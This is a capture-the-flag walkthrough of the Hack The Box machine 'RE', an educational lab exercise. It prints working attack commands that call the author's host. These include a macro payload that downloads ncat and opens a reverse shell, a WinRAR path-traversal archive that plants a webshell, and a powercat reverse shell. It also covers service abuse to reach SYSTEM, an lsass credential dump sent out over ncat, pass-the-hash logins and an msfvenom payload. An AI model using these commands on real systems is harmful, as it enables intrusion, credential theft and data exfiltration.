RE
Port scan
As usual, I started with a full TCP port scan. Only two ports were open:
root@Kali:~# nmap -p- --reason --min-rate 2000 10.10.10.144
...
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
...
Malicious ODS Macro
Discovering the malware dropbox
On port 80, accessed by IP, I found a website that redirects to “reblog.htb
”.
I added an entry to “/etc/hosts
” to resolve this hostname to
“10.10.10.144
”, then visited the site.
Now there was a blog hosted on IIS 10 operated on Windows Server,
presenting a few articles about ODS macro files.
Most importantly, the first entry contained a hint that this box was about a client-side exploit. The text was:
The SOC has been seeing lots of phishing attempts with ods attachements lately.
It seems that we’ve got rules in place to detect any run of the mill stuff,
including documents that are generated by Metasploit, documents with powershell
or cmd invocations.
If you see any interesting documents that might get past our yara rules,
please drop them in the malware dropbox. I’ve got some automated processing
that will see if our rules already identify it, and if not, run it to collect
some log data and queue it for further analysis.
There was a 2nd virtual host “re.htb
” which I also added to the hosts file.
It returned only a single sentence saying “Ghidra Dropbox coming soon!”.
There were also comments in the HTML.
They contained some instructions how to upload files to this dropbox.
For now, this was nothing but a red herring. It would have been relevant later
if you would follow the intended route (but I did not).
If you ask yourself “Where is this malware dropbox?” then look at port 445.
I listed shares and found one called “malware_dropbox
” (type empty password):
root@Kali:~# smbclient -N -L \\\\10.10.10.144
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
malware_dropbox Disk
...
A quick test showed that I could also mount this share and write files to it, which disappeared only seconds after writing them:
root@Kali:~# mount //10.10.10.144/malware_dropbox /mnt/smb/
Password for root@//10.10.10.144/malware_dropbox:
root@Kali:~# cd /mnt/smb/
root@Kali:/mnt/smb# ls
root@Kali:/mnt/smb# touch f1 && ls
f1*
root@Kali:/mnt/smb# sleep 3
root@Kali:/mnt/smb# ls
root@Kali:/mnt/smb#
The goal now was to craft a malicious macro, possibly bypassing these nasty Yara rules mentioned in the blog post.
Creating the macro
The following is a quick walkthrough for how to create macros. You have to have LibreOffice installed, which is quite a sizable download. Alternatively you could also try your luck getting one out of Metasploit (cf. here), but I guess the Yara rules would probably detect it. The manual way gives you full control over the payload.
Now, open LibreOffice Calc, then go to “Tools”, “Macros”, “Organize Macros”, then “Basics”:
Now select the current document (“Untitled 1”, unless you already saved the document), and hit “New”:
This will create a new module. Give it a name and you will be dropped into the
editor. To test for basic command execution I first added a simple pingback
payload: “ping -n 1 10.10.15.130
":
Now save the file (I named it “pingback.ods”), then close the macro editor. Then open “Tools”, “Customize”, select the “Open Document” event, and select your module’s Main function. Then hit “OK”:
This was it and I was ready to test the file. I uploaded it to the malware dropbox and waited for a ping, which arrived after only a few seconds:
I went on to get a reverse shell using the following payload:
Shell("certutil.exe -urlcache -split -f 'http://10.10.15.130/ncat.exe' 'C:\Windows\Temp\ncat.exe'")
Shell("C:\Windows\Temp\ncat.exe --ssl -e cmd.exe 10.10.15.130 9001")
The trick probably was that the macro does not use “cmd.exe
” or “powershell.exe
”.
Instead it just calls programs directly. I had no luck with any cmd or
PowerShell payloads.
Malicious RAR file
Discovering the WinRAR vulnerability
In “C:\Users\luke\Documents
” I found a file “process_samples.ps1
” that
seemed to be responsible for processing the uploads:
$process_dir = "C:\Users\luke\Documents\malware_process"
$files_to_analyze = "C:\Users\luke\Documents\ods"
$yara = "C:\Users\luke\Documents\yara64.exe"
$rule = "C:\Users\luke\Documents\ods.yara"
while($true) {
# Get new samples
move C:\Users\luke\Documents\malware_dropbox\* $process_dir
# copy each ods to zip file
Get-ChildItem $process_dir -Filter *.ods |
Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}
Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {
# unzip archive to get access to content
$unzipdir = Join-Path $_.directory $_.Basename
New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir
# yara to look for known malware
$yara_out = & $yara -r $rule $unzipdir
$ods_name = $_.fullname -replace ".zip", ".ods"
if ($yara_out.length -gt 0) {
Remove-Item $ods_name
}
}
# if any ods files left, make sure they launch, and then archive:
$files = ls $process_dir\*.ods
if ( $files.length -gt 0) {
# launch ods files
Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
Start-Sleep -s 5
# kill open office, sleep
Stop-Process -Name soffice*
Start-Sleep -s 5
#& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
$hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
# Upstream processing may expect rars. Rename to .rar
Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
}
Remove-Item -Recurse -force -Path $process_dir\*
Start-Sleep -s 5
}
It basically grabs all uploaded documents, unzips them, runs Yara on them and
deletes all files that match, then launches all ODS files that are left.
In the end it creates a RAR archive. The comment is a hint that some
downstream processing would happen to it.
These files are written to “C:\Users\luke\Documents\ods
”.
I found an empty folder at “C:\Program Files (x86)\WinRAR
” but an installer
was still left in “C:\Users\luke\Downloads
”, which indicated the version may
be 5.50 beta 1. Searching for exploits brought up path traversal / RCE exploits
for WinRAR 5.61, which may apply:
Exploiting WinRAR
A publicly available exploit is on github.com/manulqwerty/Evil-WinRAR-Gen. It claims to be an RCE since you can write stuff to the startup folder with it. On HTB the machine will not be rebooted so we need a better idea, like writing a web shell into one of the web directories the current user has no access to.
I grabbed a shell from “/usr/share/nishang/Antak-WebShell/antak.aspx
”
and created the RAR file with
“opt/Evil-WinRAR-Gen/evilWinRAR.py -o evil.rar -e FY7JGAlO4a9YVcCdFwk5mHSK.aspx -g harmless.txt -p '\inetpub\wwwroot\re\'
”.
For some reason it needs a harmless file, which can contain anything.
A simple download to “C:\Users\luke\Documents\ods
” triggered processing and
the file disappeared shortly after the download:
I was then able to access the webshell:
Upgrading the shell
A web shell is nice but a reverse shell is better.
To do it I used
github.com/besimorhino/powercat.
I downloaded “powercat.ps1
”, appended “powercat -c 10.10.15.130 -p 443 -ep
”
to make it send a Powershell reverse shell back. After setting up a listener
with “nc -lnvp 443
” I executed the following command through the web shell:
“IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.15.130/powercat.ps1')
":
The result was a reverse shell, running as user “apppool\re
”, and with full
PowerShell support.
Abusing UsoSvc Service
Discovering the service
I grabbed a copy of PowerUp.ps1 and ran all checks. It brought up 2 findings, one of which was a vulnerable service called UsoSvc which I could abuse to execute code as SYSTEM.
PS C:\windows\system32\inetsrv> IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.15.130/PowerUp.ps1')
PS C:\windows\system32\inetsrv> Invoke-AllChecks
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2100
ProcessId : 2460
Name : 2460
Check : Process Token Privileges
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services
If PowerUp would have been blocked you could have identified the service with accesschk.exe from SysInternals. Transfer it to the box, then check your groups. For each, you can ask accesschk for your permissions:
PS C:\Users\Public\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PS C:\Users\Public\Documents> .\accesschk.exe -uwcqv "NT AUTHORITY\SERVICE" * /accepteula
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
RW UsoSvc
SERVICE_ALL_ACCESS
Exploitation the access
Now it was easy to a reverse shell as SYSTEM. I simply reconfigured the service
to send me one. Note that I used
“cmd /c start C:\Users\Public\Documents\ncat.exe --ssl -e cmd 10.10.15.130 8001
”
so that ncat gets started in a
separate command prompt in cmd,
which ensures it is not killed. Otherwise, since ncat does not implement the
Windows Service API, it would get killed shortly after launch.
Pivoting to coby
Apparently SYSTEM cannot read the flag because it is encrypted. After a short
moment of WTF I learned it was due to the flag being encrypted by EFS.
This can be check with “cipher /c <file>
":
There is a mimikatz guide to decrypt such files. However, I got some errors when using mimikatz on the box, got frustrated and looked for other ways.
Good old SysInternals to the rescue, I ran
procdump
and waited a long time to get the memory dump of lsass to my system. To dump it I ran
procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
.
I then copied over the dump with netcat. Locally I listened with “nc --ssl -lnvp 8005 > lsass.dmp
”,
then started the file transfer from the box with
“ncat.exe --ssl -i 5 10.10.15.130 8005 < lsass.dmp
”. 89 MB took a while but in
the end it worked:
Locally I now ran “pypykatz lsa minidump lsass.dmp
” to dump the hashes.
I got the NT hash of coby ("fa88e03e41fdf7b707979c50d57c06cf
"):
Now I had to access the host as this user in some way. Attempts to use psexec
were not successful (frustration again). However, I noticed the box listens on 5985, but the port
was firewalled. I uploaded github.com/jpillora/chisel
to the box to forward the port (standalone Golang tool you can easily
cross-compile for Windows).
Locally I launched the server with “./chisel server -p 8989 --reverse
”,
then I connected the client from the target box with
“./chisel.exe client 10.10.15.130:8989 R:5985:127.0.0.1:5985
”.
With these preparations I was able to connect with
github.com/Hackplayers/evil-winrm,
passing the hash for coby:
“./evil-winrm.rb -i 127.0.0.1 -u coby -H fa88e03e41fdf7b707979c50d57c06cf
”.
Now the flag was finally readable:
Meterpreter and Incognito
If WinRM would not have been available Meterpreter would have been the way to go. It can be used to run the incognito module, which allows to impersonate other users. As SYSTEM, you can impersonate anybody. Thus I could use it to become coby and read the flag.
To get meterpreter, I used
“msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.15.130 LPORT=443 -f exe -o /tmp/www/msf.exe
”
to generate an executable, transfered it to the box and started it using
UsoSvc.
Locally I ran a handler and got the session. This was all I needed to become
coby and get the flag:
References
- 0xdf writeup: excellent information first-hand from the creator of the box.
- snowscan writeup: straightforward solution, also going an unintended way.
- another writeup: shows you how to prepare the evil macro without LibreOffice.